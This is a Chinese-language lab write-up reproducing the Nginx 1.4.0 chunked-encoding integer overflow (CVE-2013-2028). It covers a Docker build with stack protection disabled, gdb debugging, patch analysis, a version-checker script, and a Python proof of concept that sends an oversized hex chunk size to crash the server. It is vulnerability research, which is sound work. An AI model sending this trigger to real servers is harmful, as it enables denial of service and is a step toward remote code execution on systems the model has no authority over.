Nginx cve-2013-2028漏洞环境搭建与复现
声明:测试环境为 Ubuntu 16.04 + Nginx 1.4.0,仅供安全研究使用
环境搭建
由于 cve-2013-2028 漏洞影响到的Nginx版本 1.3.9 和 1.4.0 已经在官方网站中被移除
所以我们需要在其他地方获取有漏洞的版本
方法一:Nginx官方GitHub仓库
这是目前最可靠的方法,Nginx 官方 GitHub 保留了所有历史版本
# 克隆 1.4.0 分支
git clone --single-branch --branch release-1.4.0 https://github.com/nginx/nginx.git nginx-1.4.0
cd nginx-1.4.0
# 验证分支
git log --oneline -3
方法二:从 GitHub 安全研究项目获取
有安全研究者专门整理了包含漏洞的 Nginx 版本
# 下载包含预编译二进制和源码的项目
git clone https://github.com/m4drat/CVE-2013-2028-Exploit.git
cd CVE-2013-2028-Exploit
# 项目中包含 Dockerfile 和 docker-compose,可以直接构建环境
准备环境
因为笔者自己是学习二进制安全方向的,所以将以源码分析为主要目标
这里我们结合前面两种方法的优点
用docker起 nginx1.4.0 的原生 Ubuntu 16.04 环境,但是下载官方的源码进行分析,这样既避免了编译器系统环境差异,也能做到二进制分析
当然哈,这也算是一种自找麻烦desuwa
1st. 准备docker环境
先拉取适合nginx 1.4.0 的 docker 环境
mkdir docker-nginx
cd ./docker-nginx
docker pull ubuntu:16.04

2nd. 下载官方源码用于分析
git clone --single-branch --branch release-1.4.0 https://github.com/nginx/nginx.git nginx-1.4.0-src
# 验证源码版本
cd nginx-1.4.0-src
git log --oneline -1
# 输出: ... release-1.4.0

3rd. 在docker中搭起nginx
# 在宿主机上,启动Ubuntu 16.04容器并挂载源码
docker run -it --privileged --name nginx_cve \
-v ./nginx-1.4.0-src:/nginx-src \
-p 8080:80 \
-p 1234:1234 \
ubuntu:16.04 /bin/bash
# 容器内安装必要依赖
apt-get update
apt-get install -y build-essential gcc g++ make libpcre3-dev zlib1g-dev libssl-dev gdb gdbserver vim

编译nginx:
cd /nginx-src
# 配置编译选项(关键:禁用优化,开启调试)
./auto/configure \
--prefix=/usr/local/nginx \
--with-debug \
--with-cc-opt="-O0 -g -fno-stack-protector" \
--with-ld-opt="-fno-stack-protector" \
--without-http_rewrite_module
make -j$(nproc)
make install
注意哈,这里的编译是为了方便调试,如果需要验证POC的话还是用以下命令正常配置编译选项:
/auto/configure --without-http_rewrite_module --without-http_gzip_module

关键编译选项说明:
- O0: 禁用优化,方便调试
- g: 包含调试符号
- fno-stack-protector: 禁用栈保护(漏洞利用必需)
4th. 配置Nginx以方便调试
编辑 /usr/local/nginx/conf/nginx.conf:
user root; # 避免权限问题
worker_processes 1; # 单进程,方便调试
daemon off; # 前台运行,方便gdb attach
master_process off; # 禁用master进程,直接调试worker
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
server {
listen 80;
server_name localhost;
location / {
root html;
index index.html;
}
}
}
修改完之后可以使用 -t 来检查conf文件

5th. 调试环境配置
启动nginx 并使用 gdbserver 附加调试
# 容器内:启动gdbserver
gdbserver :1234 /usr/local/nginx/sbin/nginx
# Ubuntu 24.04主机上:连接远程调试
gdb /path/to/nginx-1.4.0-src/objs/nginx # 在拉取的源码目录下
(gdb) target remote localhost:1234
(gdb) set follow-fork-mode child # 关键:跟踪子进程
(gdb) set detach-on-fork off
这里注意啊,gdbserver启动的端口1234在前文创建容器时就已经配置好了,
如果有师傅发现没有反应可以用 docker ps -a 检查一下端口映射是不是忘记开了

最后可以看到如上图所示,gdb远程调试
# 设置源码路径映射(关键!)
(gdb) set substitute-path /nginx-src /path/to/your/nginx-1.4.0-src
# 设置断点(CVE-2013-2028 漏洞位置)
(gdb) break ngx_http_parse_chunked
(gdb) break ngx_http_do_read_client_request_body
(gdb) break ngx_http_read_discarded_request_body # 溢出发生处
# 继续运行
(gdb) continue
可以看到这边已经跟进调试了,并且也有源码对照

验证简易POC
在另一个终端发送如下简易POC来确认chunk解析环节的整数溢出
#!/usr/bin/env python3
import socket
import sys
def trigger_cve_2013_2028(host="127.0.0.1", port=8080):
"""
CVE-2013-2028 简易触发POC
用于在gdb中观察整数溢出
"""
# 构造HTTP请求头
# 关键:Transfer-Encoding: chunked 必须存在
headers = f"""POST / HTTP/1.1\r
Host: {host}\r
Transfer-Encoding: chunked\r
Content-Length: 0\r
Connection: Keep-Alive\r
\r
"""
# 计算需要填充的长度,使chunk size刚好落在特定位置
# nginx第一次接收1024字节,我们需要构造一个超长的十六进制"chunk size"
# 这个值会被解析为负数,然后被当作极大的无符号数使用
# 填充到接近1024字节边界
padding_len = 1024 - len(headers) - 16 # 预留chunk size空间
chunk_header = "f" * padding_len
# 构造恶意的chunk size - 这是触发整数溢出的关键
# 在64位系统上,这个负数值会被转换为极大的size_t
malicious_size = "f000000000000060"
# 组装第一包数据
payload = headers + chunk_header + malicious_size + "\r\n"
print(f"[*] 目标: {host}:{port}")
print(f"[*] 数据包长度: {len(payload)} bytes")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 发送数据包 - 触发整数溢出设置错误的长度值
print("[*] 发送数据...")
s.sendall(payload.encode())
s.close()
print("[*] POC发送完成,检查gdb中的崩溃信息")
except Exception as e:
print(f"[!] 错误: {e}")
if __name__ == "__main__":
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
trigger_cve_2013_2028(host, port)
另外,在gdb中使用 p *r 就能得到完整的请求结构(这个有亿点长,挪至文章末尾了)
- 在 64 位系统中,
off_t通常是有符号 64 位整数(int64_t) - 溢出临界点:
0x7FFFFFFFFFFFFFFF(2^63-1)是最大值,加 1 后变为0x8000000000000000(-2^63)
这里可以看到长度已经被设置为 -1 了,
ctx结构体的size也在解析后变成了0xffffffff
感兴趣的师傅可以选择在打下第一个断点后逐步追踪,
观察size的值跟随解析函数一步步增大
display r->headers_in.content_length_n
display *ctx

比对补丁确定漏洞点
从上面的调试我们可以知道存在一个整数溢出的漏洞,接着我们看看 Nginx 官方给的补丁,分析漏洞的精确位置和防御逻辑。
补丁来源:http://nginx.org/download/patch.2013.chunked.txt
--- src/http/ngx_http_parse.c
+++ src/http/ngx_http_parse.c
@@ -2209,6 +2209,10 @@ data:
}
+ if (ctx->size < 0 || ctx->length < 0) {
+ goto invalid;
+ }
+
return rc;
done:
关键数据结构
漏洞的核心在于 ngx_http_chunked_t 结构体的定义(位于 src/http/ngx_http_request.h):
typedef struct {
ngx_uint_t state; // 解析状态
off_t size; // chunk 大小,有符号 64 位整数
off_t length; // 剩余长度,有符号 64 位整数
} ngx_http_chunked_t;
关键点:off_t 是有符号长整型(64 位系统为 64 位)。当累加结果超过 0x7FFFFFFFFFFFFFFF 时,会溢出为负数。
整数溢出的精确触发点
漏洞发生在 ngx_http_parse_chunked 函数的状态机中,具体在 sw_chunk_size 状态处理十六进制数字时:
case sw_chunk_size:
if (ch >= '0' && ch <= '9') {
ctx->size = ctx->size * 16 + (ch - '0'); // 累加无上限校验
break;
}
c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'f') {
ctx->size = ctx->size * 16 + (c - 'a' + 10); // 累加无上限校验
break;
}
当发送超长的十六进制 chunk size(如 0x8000000000000000)时,ctx->size 累加溢出变为负数 -9223372036854775808。
随后在进入 sw_chunk_data 状态时,ctx->length 被计算为:
case sw_chunk_data:
ctx->length = ctx->size + 4; // 负数 + 4 仍为负数
break;
补丁的精确位置
补丁位于函数末尾、所有状态处理完成后、return 语句之前:
data:
// 状态机处理...
switch (state) {
// ... 各种 case ...
}
// 补丁添加在这里:函数出口处的统一校验
+ if (ctx->size < 0 || ctx->length < 0) {
+ goto invalid;
+ }
return rc; // 可能返回 NGX_AGAIN 或 NGX_OK
done:
ctx->state = 0;
b->pos = pos + 1;
return NGX_DONE;
invalid:
return NGX_ERROR;
}
防御策略:采用"出口统一校验"(Sanitization)而非分散校验,确保所有代码路径流出的数据都经过检查,符合"失败安全"(Fail-Safe)原则。
漏洞利用的完整调用链
ngx_http_read_discarded_request_body()
└── ngx_http_discard_request_body_filter()
└── ngx_http_parse_chunked() <-- 溢出发生
└── 返回 NGX_AGAIN
└── 设置 r->headers_in.content_length_n = rb->chunked->length
└── ngx_http_read_discarded_request_body() 中:
size = ngx_min((size_t) r->headers_in.content_length_n, 4096);
// 负数转 size_t 变成极大值
recv(c->fd, buffer, size, 0); // 栈溢出!
关键转换点 1:ngx_http_discard_request_body_filter 中的赋值
if (rc == NGX_AGAIN) {
/* set amount of data we want to see next time */
r->headers_in.content_length_n = rb->chunked->length; // 负数赋给 content_length_n
break;
}
关键转换点 2:ngx_http_read_discarded_request_body 中的类型转换
#define NGX_HTTP_DISCARD_BUFFER_SIZE 4096
// r->headers_in.content_length_n 是 off_t(有符号)
// 转为 size_t(无符号)时,负数变成极大正数
size = ngx_min((size_t) r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE);
// 实际:size = 0xFFFFFFFFFFFFFFFF(如果原值是 -1)
recv(c->fd, buffer, size, 0); // buffer 只有 4096 字节,size 极大 -> 栈溢出
补丁校验条件的完备性
if (ctx->size < 0 || ctx->length < 0) {
goto invalid;
}
ctx->size < 0:检测直接溢出ctx->length < 0:检测传播溢出(ctx->size + 4也可能溢出,如0x7FFFFFFFFFFFFFFF+ 4 =0x8000000000000003)
重新编译
上文中我们选择了不开启栈保护的编译选项,主要用于源码对照以及gdb调试分析
接下来重新编译nginx
cd /nginx-src
# 清理之前的编译
make clean
# 正常编译(用于实际利用测试)
./auto/configure \
--prefix=/usr/local/nginx \
--without-http_rewrite_module \
--without-http_gzip_module
make -j$(nproc)
make install
check for cve
接下来我们用工具脚本检验是否存在cve:
脚本来源为 xiw1ll师傅的githubxiw1ll/CVE-2013-2028_Checker: Tool for checking Nginx CVE-2013-2028

#!/usr/bin/env python3
# check.py
import requests
import sys
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from packaging import version
urllib3.disable_warnings(InsecureRequestWarning)
vulnerable_versions = ['1.3.9', '1.4.0']
vulnerable_range = (version.parse('1.3.9'), version.parse('1.4.0'))
def is_vulnerable(version_string):
parsed_version = version.parse(version_string)
return vulnerable_range[0] <= parsed_version <= vulnerable_range[1]
def get_nginx_version(url):
try:
response = requests.get(url, timeout=3, verify=False)
server_header = response.headers.get('Server', '')
if 'nginx' in server_header.lower():
parts = server_header.split('/')
if len(parts) > 1:
version_string = parts[1]
vulnerable = is_vulnerable(version_string)
print(f"[{'!' if vulnerable else '+'}] Target: {url} Nginx version: {version_string} Vulnerable: {vulnerable}")
else:
print(f"[?] Target: {url} Nginx detected but no version specified")
else:
print("[-] The server does not appear to be running Nginx.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
try:
url = sys.argv[1]
get_nginx_version(url)
except IndexError:
print("[*] Usage: python3 nginx_cve_2013_2028_checker.py http://127.0.0.1")
如何构造exp
主要是BROP以及canary爆破,并且需要在其中找到能够利用的gadget,
笔者在这就不多说了,感兴趣的师傅可以看看下面两位大佬的文章,
讲的很详细,也有我在分析部分没讲到的补充
【技术分享】BROP Attack之Nginx远程代码执行漏洞分析及利用-安全KER - 安全资讯平台
Nginx栈溢出分析 - CVE-2013-2028 - l3m0n - 博客园
p *r 请求结构体
pwndbg> p *ctx
$2 = {
state = 0,
size = 0,
length = 0
}
pwndbg> p *r
$3 = {
signature = 1347703880,
connection = 0x7ffff7fbc0c8,
ctx = 0x6f3840,
main_conf = 0x6e6dd8,
srv_conf = 0x6fb1e8,
loc_conf = 0x6ff4b8,
read_event_handler = 0x44b05f <ngx_http_block_reading>,
write_event_handler = 0x43bcdf <ngx_http_core_run_phases>,
cache = 0x0,
upstream = 0x0,
upstream_states = 0x0,
pool = 0x6f2f30,
header_in = 0x6e5220,
headers_in = {
headers = {
last = 0x6f2ff0,
part = {
elts = 0x6f39e8,
nelts = 2,
next = 0x0
},
size = 48,
nalloc = 20,
pool = 0x6f2f30
},
host = 0x6f39e8,
connection = 0x0,
if_modified_since = 0x0,
if_unmodified_since = 0x0,
if_match = 0x0,
if_none_match = 0x0,
user_agent = 0x0,
referer = 0x0,
content_length = 0x0,
content_type = 0x0,
range = 0x0,
if_range = 0x0,
transfer_encoding = 0x6f3a18,
expect = 0x0,
upgrade = 0x0,
accept_encoding = 0x0,
via = 0x0,
authorization = 0x0,
keep_alive = 0x0,
x_forwarded_for = {
elts = 0x0,
nelts = 0,
size = 0,
nalloc = 0,
pool = 0x0
},
user = {
len = 0,
data = 0x0
},
passwd = {
len = 0,
data = 0x0
},
cookies = {
elts = 0x0,
nelts = 0,
size = 0,
nalloc = 0,
pool = 0x0
},
server = {
len = 1,
data = 0x6fcd86 "x"
},
content_length_n = -1,
keep_alive_n = -1,
connection_type = 0,
chunked = 1,
msie = 0,
msie6 = 0,
opera = 0,
gecko = 0,
chrome = 0,
safari = 0,
konqueror = 0
},
headers_out = {
headers = {
last = 0x6f3158,
part = {
elts = 0x6f3480,
nelts = 0,
next = 0x0
},
size = 48,
nalloc = 20,
pool = 0x6f2f30
},
status = 0,
status_line = {
len = 0,
data = 0x0
},
server = 0x0,
date = 0x0,
content_length = 0x0,
content_encoding = 0x0,
location = 0x0,
refresh = 0x0,
last_modified = 0x0,
content_range = 0x0,
accept_ranges = 0x0,
www_authenticate = 0x0,
expires = 0x0,
etag = 0x0,
override_charset = 0x0,
content_type_len = 0,
content_type = {
len = 0,
data = 0x0
},
charset = {
len = 0,
data = 0x0
},
content_type_lowcase = 0x0,
content_type_hash = 0,
cache_control = {
elts = 0x0,
nelts = 0,
size = 0,
nalloc = 0,
pool = 0x0
},
content_length_n = -1,
date_time = 0,
last_modified_time = -1
},
request_body = 0x6f3e30,
lingering_time = 0,
start_sec = 1773895810,
start_msec = 81,
method = 2,
http_version = 1001,
request_line = {
len = 14,
data = 0x6fcd70 "GET / HTTP/1.1\r\nHost"
},
uri = {
len = 11,
data = 0x6f3dd2 "/index.html"
},
args = {
len = 0,
data = 0x0
},
exten = {
len = 4,
data = 0x6f3dd9 "html"
},
unparsed_uri = {
len = 1,
data = 0x6fcd74 "/ HTTP/1.1\r\nHost"
},
method_name = {
len = 3,
data = 0x6fcd70 "GET / HTTP/1.1\r\nHost"
},
http_protocol = {
len = 8,
data = 0x6fcd76 "HTTP/1.1\r\nHost"
},
out = 0x0,
main = 0x6f2f80,
parent = 0x0,
postponed = 0x0,
post_subrequest = 0x0,
posted_requests = 0x0,
phase_handler = 8,
content_handler = 0x0,
access_code = 0,
variables = 0x6f3968,
limit_rate = 0,
header_size = 0,
request_length = 55,
err_status = 0,
http_connection = 0x6e5190,
log_handler = 0x44cb92 <ngx_http_log_error_handler>,
cleanup = 0x0,
subrequests = 201,
count = 2,
blocked = 0,
aio = 0,
http_state = 2,
complex_uri = 0,
quoted_uri = 0,
plus_in_uri = 0,
space_in_uri = 0,
invalid_header = 0,
add_uri_to_alias = 0,
valid_location = 1,
valid_unparsed_uri = 0,
uri_changed = 0,
uri_changes = 10,
request_body_in_single_buf = 0,
request_body_in_file_only = 0,
request_body_in_persistent_file = 0,
request_body_in_clean_file = 0,
request_body_file_group_access = 0,
request_body_file_log_level = 5,
subrequest_in_memory = 0,
waited = 0,
cached = 0,
gzip_tested = 0,
gzip_ok = 0,
gzip_vary = 0,
proxy = 0,
bypass_cache = 0,
no_cache = 0,
limit_conn_set = 0,
limit_req_set = 0,
pipeline = 0,
chunked = 0,
header_only = 0,
keepalive = 1,
lingering_close = 1,
discard_body = 0,
internal = 1,
error_page = 0,
ignore_content_encoding = 0,
filter_finalize = 0,
post_action = 0,
request_complete = 0,
request_output = 0,
header_sent = 0,
expect_tested = 0,
root_tested = 1,
done = 0,
logged = 0,
buffered = 0,
main_filter_need_in_memory = 0,
filter_need_in_memory = 0,
filter_need_temporary = 0,
allow_ranges = 0,
state = 0,
header_hash = 14551824004462063861,
lowcase_index = 17,
lowcase_header = "transfer-encoding", '\000' <repeats 14 times>,
header_name_start = 0x6fcda5 "\r\n", 'f' <repeats 198 times>...,
header_name_end = 0x6fcd9a "",
header_start = 0x6fcd9c "chunked",
header_end = 0x6fcda5 "\r\n", 'f' <repeats 198 times>...,
uri_start = 0x6fcd74 "/ HTTP/1.1\r\nHost",
uri_end = 0x6fcd75 " HTTP/1.1\r\nHost",
uri_ext = 0x0,
args_start = 0x0,
request_start = 0x6fcd70 "GET / HTTP/1.1\r\nHost",
request_end = 0x6fcd7e "\r\nHost",
method_end = 0x6fcd72 "T / HTTP/1.1\r\nHost",
schema_start = 0x0,
schema_end = 0x0,
host_start = 0x0,
host_end = 0x0,
port_start = 0x0,
port_end = 0x0,
http_minor = 1,
http_major = 1
}